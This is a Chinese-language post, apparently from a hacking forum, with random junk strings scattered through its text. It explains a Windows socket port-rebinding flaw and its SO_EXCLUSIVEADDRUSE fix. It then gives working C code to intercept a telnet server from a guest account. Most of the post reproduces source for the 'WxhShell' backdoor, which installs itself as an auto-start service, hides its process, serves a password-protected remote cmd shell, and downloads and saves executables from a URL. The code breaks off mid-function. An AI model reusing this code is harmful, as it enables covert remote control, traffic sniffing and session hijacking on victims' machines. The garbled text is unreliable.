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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K9[UB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mw!F{pw PCvWS.{ saddr.sin_family = AF_INET; !if <%d>v-=B saddr.sin_addr.s_addr = htonl(INADDR_ANY); b}f~il SBpL6~NW bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \zY!qpX< O^.#d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~&T~1xsFJ 8}[).d160 这意味着什么?意味着可以进行如下的攻击:
XX@ZQcN dG{A~Z z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .>S!ji Ba,`TJ%y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eRYK3W \RiP
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _-D{-Bu# uZ5p#M_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 +z( Lr=G eDMO]5}Ht 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]lbuy7xj63 }6# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1^}+=~ |=w@H]r 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f 2.HF@ q'DW~!>qX #include @- xjfC\d #include ]'}L 1r #include )UR7i8]!0 #include VRMXtQ*1Dm DWORD WINAPI ClientThread(LPVOID lpParam); x4 yR8n( int main() pb}*\/s { &HW9Jn WORD wVersionRequested; KwS@D9bok DWORD ret; tc! #wd+u WSADATA wsaData; uYN`:b8 BOOL val; WLT"ji0w2 SOCKADDR_IN saddr; *VcJ= b
2Y SOCKADDR_IN scaddr; *p U x8yB int err; 6'/ #+,d' SOCKET s; E
fDH6 SOCKET sc; 6N4~~O int caddsize; \85i+q:LuA HANDLE mt; gJXaPJA{ DWORD tid; }OUt sh ]y wVersionRequested = MAKEWORD( 2, 2 ); N['.BN err = WSAStartup( wVersionRequested, &wsaData ); tA;}h7/Lc~ if ( err != 0 ) { 8=l%5r^cq printf("error!WSAStartup failed!\n"); YWLj?+ return -1; wp_0+$?s } Upe%rC( saddr.sin_family = AF_INET; u_enqC3 M >u_4AY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QV!up^Zso 2ESo2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >A= f1DF saddr.sin_port = htons(23); r;{.%s7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RP"kC4~1 { aOp\91
printf("error!socket failed!\n"); wT@og|M return -1; d-qUtgqV86 } b9krOe*j val = TRUE; _b 0&!l<
//SO_REUSEADDR选项就是可以实现端口重绑定的 6Oq7#3] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UNYqft4 { #e"[^_C@! printf("error!setsockopt failed!\n"); Da|z"I
x return -1; mt
.sucT } @]j1:PN-
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lN@o2QX //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^c|/*u //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iTwm3V
P ;pAK_> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GOPfXtkC { hb$Ce'}N ret=GetLastError(); 7dWS printf("error!bind failed!\n"); qPNR`%}Q return -1;
P0@,fd< } TbU#96"~. listen(s,2); HN"Z]/5j while(1) M]^5 s;y { F8=+j_UGI caddsize = sizeof(scaddr); KO [Yi //接受连接请求 ]gOy(\B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); COlqcq'qAu if(sc!=INVALID_SOCKET) *@5 @,=d { 9;{CIMg& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); as|<}:V if(mt==NULL) qX%_uOw:% { 1zv'.uu., printf("Thread Creat Failed!\n"); :;}P*T*PU break; $FV NCFN% } ]^E?;1$f? } la!~\wpa CloseHandle(mt); :TbgFQ86~ } lxx2H1([ closesocket(s); 0J9x9j`&j WSACleanup(); lA]8&+,ZM return 0; ?,mmYW6TjB } 1}x%%RD_ DWORD WINAPI ClientThread(LPVOID lpParam) HJ"GnZp< { afVT~Sf{ SOCKET ss = (SOCKET)lpParam; +(Ae4{z"1+ SOCKET sc; /v{I unsigned char buf[4096]; )nkY_'BV SOCKADDR_IN saddr; L *wYx| long num; y(#e}z: DWORD val; K-v#.e4 DWORD ret; D*jM1w_` //如果是隐藏端口应用的话,可以在此处加一些判断 pi(m7Ci" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Sjqpec8 saddr.sin_family = AF_INET; 9[4xFE?| saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wr
4,YQM saddr.sin_port = htons(23); XFl6M~ c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }bxs]?OW> { c 9Mz]1@f printf("error!socket failed!\n"); {: /}NpA$ return -1; Txu/{M, } 6K^#?Bn; val = 100; Dt@SqX:~Ee if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nn6%9PX_) { kiEa<-] ret = GetLastError(); w)f#V s return -1; :#Wd~~d } *dQSw)R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5pX6t { 6nn*]|7 ret = GetLastError(); z{
dEC % return -1; &C}*w2]0S } =_CzH(=f# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rq{$,/6. { }BEB1Q}L printf("error!socket connect failed!\n"); w;M#c
Y closesocket(sc); 81F9uM0 closesocket(ss); vM={V$D& return -1; e\rp)[>' } Rq -ZL{LR7 while(1) -"x$ZnHU { E.h*g8bXe //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W/N7vAx X //如果是嗅探内容的话,可以再此处进行内容分析和记录 ).O)p9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Qs!5<)6
num = recv(ss,buf,4096,0); "]*tLL:` if(num>0) g)-te+?6 send(sc,buf,num,0); >P(.:_^p else if(num==0) kh<2BOV break; F4QVAOM]U num = recv(sc,buf,4096,0); :jf3HG if(num>0) &{:-]g\ send(ss,buf,num,0); " bG2: else if(num==0) u8^lB7!e/ break; `[A];] } *CMx- _ closesocket(ss); +@UV?"d closesocket(sc); t20K!}D_ return 0 ; gYj'(jB } 7zMr:JmV %T[]zJ( BtZ yn7a ========================================================== sW$XH1Uf# \V:^h[ad 下边附上一个代码,,WXhSHELL +ZYn? #IQ iZ%yd- ========================================================== ooGM$U $b\P|#A #include "stdafx.h" \e_O4
XW9!p.*.U #include <stdio.h> 2%1hdA< #include <string.h> pAEx#ck #include <windows.h> ~[: 2I #include <winsock2.h> *Ex|9FCt$ #include <winsvc.h> iso4]>LF #include <urlmon.h> BUFv|z+H =a!=2VN9y #pragma comment (lib, "Ws2_32.lib") & kIFcd@ #pragma comment (lib, "urlmon.lib") :&Nbw p_ =z# #define MAX_USER 100 // 最大客户端连接数 AW .F3hN) #define BUF_SOCK 200 // sock buffer $>gFf}#C #define KEY_BUFF 255 // 输入 buffer DI vHvFss i4Jc.8^9$ #define REBOOT 0 // 重启 oU|c.mYe #define SHUTDOWN 1 // 关机 6zkaOA46V V~bD)?M #define DEF_PORT 5000 // 监听端口 kza5ab V]&\fk-{ #define REG_LEN 16 // 注册表键长度 R]dg_Da #define SVC_LEN 80 // NT服务名长度 ^aQ"E9 g}i61( // 从dll定义API ]_Xlq_[/r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ru XC(qcq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =;k|*Ny typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); neh(<> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =43auFY-P @o^Ww // wxhshell配置信息 ;jPXs struct WSCFG { e)ZUO_Q$ int ws_port; // 监听端口 AGno6g char ws_passstr[REG_LEN]; // 口令 D$N/FJ8|G int ws_autoins; // 安装标记, 1=yes 0=no Y7nvHU|+o char ws_regname[REG_LEN]; // 注册表键名 _wcNgFx char ws_svcname[REG_LEN]; // 服务名 BY*Q_Et char ws_svcdisp[SVC_LEN]; // 服务显示名 E4!Fupkpf char ws_svcdesc[SVC_LEN]; // 服务描述信息 \jA~9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .543N<w int ws_downexe; // 下载执行标记, 1=yes 0=no pp2~Meg char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" /(T?j!nPE char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S'14hk< Qd6F H2Pl }; *VeRVaBl 5;S.H#YOpO // default Wxhshell configuration bcR_E5x$ struct WSCFG wscfg={DEF_PORT, % nIf)/2g "xuhuanlingzhe", AS,%RN^. 1, ;=@0'xPEa- "Wxhshell", -8Xf0_ "Wxhshell", +#By*;BJ "WxhShell Service", 8Y3I0S "Wrsky Windows CmdShell Service", 5r_|yu "Please Input Your Password: ", OZT.=^:A 1, #%s#c0TX " http://www.wrsky.com/wxhshell.exe", VX/#1StC "Wxhshell.exe" fh{`Mz,o }; q;U,s)Uz^ 9kojLqCT // 消息定义模块 7KPwQ?SjT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3F0 N^)@ char *msg_ws_prompt="\n\r? for help\n\r#>"; V1?]|HTQcT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ccnK#fn v char *msg_ws_ext="\n\rExit."; [Yyk0Qv|4 char *msg_ws_end="\n\rQuit."; l@\FWWQ char *msg_ws_boot="\n\rReboot..."; Tr|JYLwF char *msg_ws_poff="\n\rShutdown..."; *kVV+H<X|b char *msg_ws_down="\n\rSave to "; b\ PgVBf9 +3`alHUK char *msg_ws_err="\n\rErr!"; [V!tVDs&'o char *msg_ws_ok="\n\rOK!"; dd["dBIZ ' 2Hdu:"j char ExeFile[MAX_PATH]; ]d`VT)~vje int nUser = 0; fatf*}eln HANDLE handles[MAX_USER]; >MK98(F int OsIsNt; 9Ee'Cm i&k7-< SERVICE_STATUS serviceStatus; 6Iw\c SERVICE_STATUS_HANDLE hServiceStatusHandle; TKjFp%
9akH // 函数声明 |M_UQQAB| int Install(void); 8D].MI^ int Uninstall(void); bi:8(Q$w:` int DownloadFile(char *sURL, SOCKET wsh); iOdpM{~* int Boot(int flag); fQ98(+6 void HideProc(void); +O5hH8<&b int GetOsVer(void); V+~Nalm O int Wxhshell(SOCKET wsl); +>9Q/E void TalkWithClient(void *cs); ap~^Ty<> int CmdShell(SOCKET sock); ? q&T$8zc4 int StartFromService(void); Gy)@Is9 int StartWxhshell(LPSTR lpCmdLine); '2O\_Uz p8Q1-T3v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gc!x|V;T VOID WINAPI NTServiceHandler( DWORD fdwControl ); hEk$d.!} b6 M // 数据结构和表定义 6^Sa; SERVICE_TABLE_ENTRY DispatchTable[] = XlJZhc { \?N2=jsu$ {wscfg.ws_svcname, NTServiceMain}, - YV>j {NULL, NULL} .mAjfP* }; }&e5$lB c|1&lYal; // 自我安装 fzA9'i` int Install(void) X jX2] { xKC[=E>z char svExeFile[MAX_PATH]; yEoV[K8k HKEY key; JCaOK2XT; strcpy(svExeFile,ExeFile); W%)Y#C _2nx^E(pd // 如果是win9x系统,修改注册表设为自启动 ;$tSb ~K+ if(!OsIsNt) { Z8oK2Dw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,(4K4pN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M[uA@ RegCloseKey(key); 6&-(&(_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HmwT~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D0q":WvE RegCloseKey(key); |I|fMF2K return 0; R$Q.sE } p$>l7?h } @o6L6Y0Naa } r9lR|\Ax2U else { ]q-Y }1di8 ^H'\"9;7 // 如果是NT以上系统,安装为系统服务 p^_yU_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kwA$Z!Rn if (schSCManager!=0) {GO#.P" { +{UcspqM SC_HANDLE schService = CreateService x;')9/3 ( qv*^fiT schSCManager, e]tDy0@ wscfg.ws_svcname, h@h! ,; wscfg.ws_svcdisp, Yuc> fFA SERVICE_ALL_ACCESS, :h V7>
rr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S@Hf
&hJ SERVICE_AUTO_START, |W\(kb+ SERVICE_ERROR_NORMAL, `#gie$B{ svExeFile, <o= 8FO NULL, veRm2LSP NULL, h-D}'R NULL, +U.I( 83F NULL, ,1##p77. NULL N"1B/u ); +@:x!q|^ if (schService!=0) ym6K!i]q4 { ujucZ9}yd CloseServiceHandle(schService); @<Yy{~L| CloseServiceHandle(schSCManager); ,{q;;b9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (b6NX~G-: strcat(svExeFile,wscfg.ws_svcname); +KEWP\r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )tpL#J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i@BtM9: RegCloseKey(key); U3:j'Su4H? return 0; [=_jYzD,j| } 6u}</>} } r)6M!_]AW CloseServiceHandle(schSCManager); Z`BK/:vo3H } -
CWywuD } uOGw9O-d9 ilva,WFa^ return 1; fg{n(TE"8 } X~i<g?] hiw|2Y&` // 自我卸载 pO.2< int Uninstall(void)
v<:R# { I)W`sBL HKEY key; ^Va1f'g H$KTo/ if(!OsIsNt) { i@R
1/M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c7E11 \%&Z RegDeleteValue(key,wscfg.ws_regname); OaZQ7BGq RegCloseKey(key); )tnh4WMh} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?KI,cl RegDeleteValue(key,wscfg.ws_regname); aoa)BNs RegCloseKey(key); d5z`B H. return 0; dw7$Vh0y } ~F?u)~QZ# } !7&5` q7 } ,-e{(L else { .K<Q& ED&
`_h7? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bnLPlf if (schSCManager!=0) uL/m u< { uc"P3,M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XEZF{lP if (schService!=0) .@Dxp]/B} { 0k(a VkZ I if(DeleteService(schService)!=0) { 19KQlMO.G CloseServiceHandle(schService); 9]wN Bd CloseServiceHandle(schSCManager); m7>JJX3=< return 0; [\b0Lem } 8&Y^""#e) CloseServiceHandle(schService); M+9 gL3W } #`X?=/q CloseServiceHandle(schSCManager); ApXy=?fc } 6qd\)q6T&x } QZ%`/\(!8_ H1(Uw:V8 return 1; q\527^ZM } LAe6`foW/ e01epVR; // 从指定url下载文件 !o[7wKrXb int DownloadFile(char *sURL, SOCKET wsh) CoAvSw { Km6YP!i HRESULT hr; .Twk {p char seps[]= "/"; R#8L\1l char *token; Y]u+\y~ char *file; Vr1<^Ib char myURL[MAX_PATH]; e2W".+B1 char myFILE[MAX_PATH]; ^4Ah_U 9Ly]DZ;L strcpy(myURL,sURL); qH 6>!=00 token=strtok(myURL,seps); L4|`;WP while(token!=NULL) A:9?ZI/X { '1)$' file=token; Eue~Y+K*b token=strtok(NULL,seps);
}sO&. ME } RTJ3qhY fCobzDy
GetCurrentDirectory(MAX_PATH,myFILE); g]yBA7/S" strcat(myFILE, "\\"); yU}qOgXx strcat(myFILE, file); 8d-t|HkN send(wsh,myFILE,strlen(myFILE),0); df #$9- send(wsh,"...",3,0); p >t#@Eu| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JNUt$h if(hr==S_OK) zeC
RK+- return 0; u4%Pca9(= else +|89>}w4 return 1; P &e\)Z| @w !PaP } hJ#xB6 D^3vr2 // 系统电源模块 e?ly H int Boot(int flag) r7,t";?> { ^vO+(p HANDLE hToken; @qlK6tE` TOKEN_PRIVILEGES tkp; Gvqxi| T+K):ug if(OsIsNt) { P{+T<bk| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BC<^a )D= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K8.!_
c tkp.PrivilegeCount = 1; :#?5X|Gz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -rli(RR)| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SHo$9+ if(flag==REBOOT) { /&+tf* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;^I*J:] return 0; $.rhRKs } %vhnl' else { Z//+Gw<' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sAD}#Zw$ return 0;
|CZ@te)> } r_6ZO& } !XCm>]R else { Hi1JLW, if(flag==REBOOT) { %pd ,%pg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z>W g*sZy) return 0; 4 bH^":i( } pF Rg?- else { y)!5R 3b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $ ,}E return 0; 5VAK:eB } y6,/:qm } 9!}8UALD $!yW_HTx return 1; 1@1U/ss1 } =i*;VFc ]4]6Qki // win9x进程隐藏模块 usCt#eZK void HideProc(void) aV|hCN~ { LS*y g^{@'}$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m(#LhlX if ( hKernel != NULL ) ?fjuh}Q5h { #[~pD:qqM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zk"eA'"\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [^e%@TV>d FreeLibrary(hKernel); ft KTnK. } sN2p76KN $m1z-i;/ return; j4`0hnqI } d0Qd$ .%A W=vP]x
>J // 获取操作系统版本 IrhA+)pdse int GetOsVer(void) hB>oJC { iQ
fJ OSVERSIONINFO winfo; C3],n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~SF<,-Kg GetVersionEx(&winfo); I3mGo if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lXiKY@R# return 1; sVv xHkt@ else ime\f*Fg return 0; ua]o6GlO } _EMwm&! pDIVZC // 客户端句柄模块 _5# y06Q int Wxhshell(SOCKET wsl) Oz`BEyb]{ { e`TH91@ SOCKET wsh; ,\ k(x>oy struct sockaddr_in client; r)~ T@'y DWORD myID; Vq\`+&A S` ;?z while(nUser<MAX_USER) X/2&!O { >eB\(EP int nSize=sizeof(client); \$\ENQ;Nk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "*5hiTr8+ if(wsh==INVALID_SOCKET) return 1; RBm ;e0 vUU9$x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o.G!7 if(handles[nUser]==0) <55g3>X closesocket(wsh); C/kW0V7 else "C19b:4H nUser++; |J}Mgb-4 }
L0@SCt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s4SG[w!d 9qz6]-K return 0; a]/>ra5{ } I@%t.%O Jp >JCM.I0_| // 关闭 socket 3`.7<f` void CloseIt(SOCKET wsh) 2.zsCu4lj. { +W\f(/ q0 closesocket(wsh); Vle@4]M\ nUser--; sq[iY ExitThread(0); x`mN U } WKIoS"?-F tj4VWJK // 客户端请求句柄 dhr3,&+T2 void TalkWithClient(void *cs) CS-uNG6 { ayD}r#7 }mdAM6 SOCKET wsh=(SOCKET)cs; ,Bo>E: u char pwd[SVC_LEN]; }J1tdko# char cmd[KEY_BUFF]; .CU5}Tv- char chr[1]; mkF" int i,j; qX
Boz@bl mCB while (nUser < MAX_USER) { wl$h4 {L7 Y2SJ7 if(wscfg.ws_passstr) { 0[*qY@m:Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [uls8
"^/j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rKf-+6Na //ZeroMemory(pwd,KEY_BUFF); kO{s^_qR^c i=0; 7`8Ik`lY while(i<SVC_LEN) { ^__Dd)( <**y !2 // 设置超时 ~UjGSO)z} fd_set FdRead; uYil ?H{kH struct timeval TimeOut; R>"OXFaE FD_ZERO(&FdRead); q**G(}K FD_SET(wsh,&FdRead); QC;^xG+W TimeOut.tv_sec=8; glXZZ=j TimeOut.tv_usec=0; me ks
RcF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `poE6\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `zXO_@C ,gOOiB
} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D{4YxR
PX pwd =chr[0]; i21Gw41p: if(chr[0]==0xd || chr[0]==0xa) { +d!v}aJ pwd=0; P(73!DT+ break; ?Ovqp-sw } MxcFvo*LCp i++; jR#~I@q^ } _({A\}Q| mJ`A_0 // 如果是非法用户,关闭 socket {aJJ`t if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Ll$p0W } @wC5 g 4E `8>Py~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
9*=W- v send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e|D;OM mL`5 uf while(1) { Eb>78k(3I) (S`2[.j ZeroMemory(cmd,KEY_BUFF); mzc
4/<th `o?Ph&p} // 自动支持客户端 telnet标准 1=a>f"cyf j=0; +_xOLiu
while(j<KEY_BUFF) { Yx inE`u~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F]t(%{#W cmd[j]=chr[0];
pzgSg[| if(chr[0]==0xa || chr[0]==0xd) { b2=0}~LK cmd[j]=0; *"r~-&IL break; o9S+6@ } Kmv+1T0, j++; 9Xo[(h)5d } zC:wNz@zK ^e>Wo7r // 下载文件 CZt \JW+" if(strstr(cmd,"http://")) { 2'<[7! send(wsh,msg_ws_down,strlen(msg_ws_down),0); dVo.Czyd if(DownloadFile(cmd,wsh)) [ $T(WGF send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4T<Lgb else )){9&5,0: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (?! ,p^ } "a/ Q%.P else { u@%r BEgV^\u switch(cmd[0]) { :C8$Xi_i} "y<?Q}1 // 帮助 $Qy7G{XJ[^ case '?': { d@G}~&.| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rf%7b8[v break; \VFHHi:I } W|,V50K // 安装 &"mzwQX case 'i': { Q;J`Q wkH if(Install()) 6q6FB send(wsh,msg_ws_err,strlen(msg_ws_err),0); eBO@7F$ else z>06hBv(?Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "AhTH.ZP break; G>+1*\c } NAzX". g // 卸载 k') E/n case 'r': { FG!X"<he if(Uninstall()) fQ=MJ7l send(wsh,msg_ws_err,strlen(msg_ws_err),0); KyO8A2'U else $VQtwuYt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =FT98H2*| break; n7YEG-J } "A)(" // 显示 wxhshell 所在路径 S$^RbI case 'p': { `[YngYw char svExeFile[MAX_PATH]; M}wXJ8aF? strcpy(svExeFile,"\n\r"); 5 VA(tzmCt strcat(svExeFile,ExeFile); q0bHB_|wL send(wsh,svExeFile,strlen(svExeFile),0); ?`Y\)'} break; %D`,k*X } \rV
B5|D? // 重启 D*Q.G8( case 'b': { 5I@w~z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6k/U3&R if(Boot(REBOOT)) DK&h
eVIoZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?<yM7O,4 else { @&hnL9D8lL closesocket(wsh); 45H!;Qsk ExitThread(0); ec|/ / } >u(>aV|A break; vkRi5!bR }
`:G% // 关机 z>[tF5 case 'd': { 5')8r';, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9ElCg" if(Boot(SHUTDOWN)) uGl| pJ\y= send(wsh,msg_ws_err,strlen(msg_ws_err),0); @E53JKYhY else { nB ". '= closesocket(wsh); Jj^GWZRu ExitThread(0); w_iam qe, } CC3v%^81l^ break; l#wdpD a{ } h
!(>7/Gi // 获取shell zK+52jhi case 's': { OW(&s,|6x CmdShell(wsh); ,s^<X85gp\ closesocket(wsh); 6dEyv99 ExitThread(0); PZD>U)M break; rB%$;<`/ } =N|kn<h4 // 退出 8%~t case 'x': { VIR. yh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5ZAb]F90 CloseIt(wsh); xDO7A5 break; gX?n4Csy' } 9%iFV
N' // 离开 m!OMrZ%)} case 'q': { \BI/G send(wsh,msg_ws_end,strlen(msg_ws_end),0); |k{-l!HI closesocket(wsh); ?Jtg3AY WSACleanup(); =qvZpB7ZZ exit(1); w h$jr{
break; 5H:@8,B } Q:|w%L*E
} "MiD8wX- } p&K\]l} /MOnNnV // 提示信息 !1uzX
Kb if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [[)_BmS5r } qsg>5E } !)Rr]
~ [Id}4[={e return; IGAzE( } 4o9$bv I2HT2c$ // shell模块句柄 Cj;/Uhs
int CmdShell(SOCKET sock) G(1 K9{i$ {
c~dM`2J, STARTUPINFO si; tO.$+4a ZeroMemory(&si,sizeof(si)); swpnuuC- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "L2 m-e6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;' e@t8i6 PROCESS_INFORMATION ProcessInfo; czBi Dk4 char cmdline[]="cmd"; xUYow CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `HX3|w6W; return 0; 1ZKzumF } H "+c)FGi R.1Xst &i // 自身启动模式 M}.b"
ljZ int StartFromService(void) =J|sbY"] { <5Mrp"C[i typedef struct }G1&]Wt_ { ;~sr$6 DWORD ExitStatus; mPVE?jnR^0 DWORD PebBaseAddress; 27#8dV? DWORD AffinityMask; Kv+Bfh DWORD BasePriority; e4qj .b ULONG UniqueProcessId; ibF#$&! ULONG InheritedFromUniqueProcessId; S@:B6](D$ } PROCESS_BASIC_INFORMATION; U 0ZB^` :LV.G0)# PROCNTQSIP NtQueryInformationProcess; ->yeJTsE9 GH3#E*t+[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X_70]^XL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PX 3 WSI
Xj5R HANDLE hProcess; (Imp
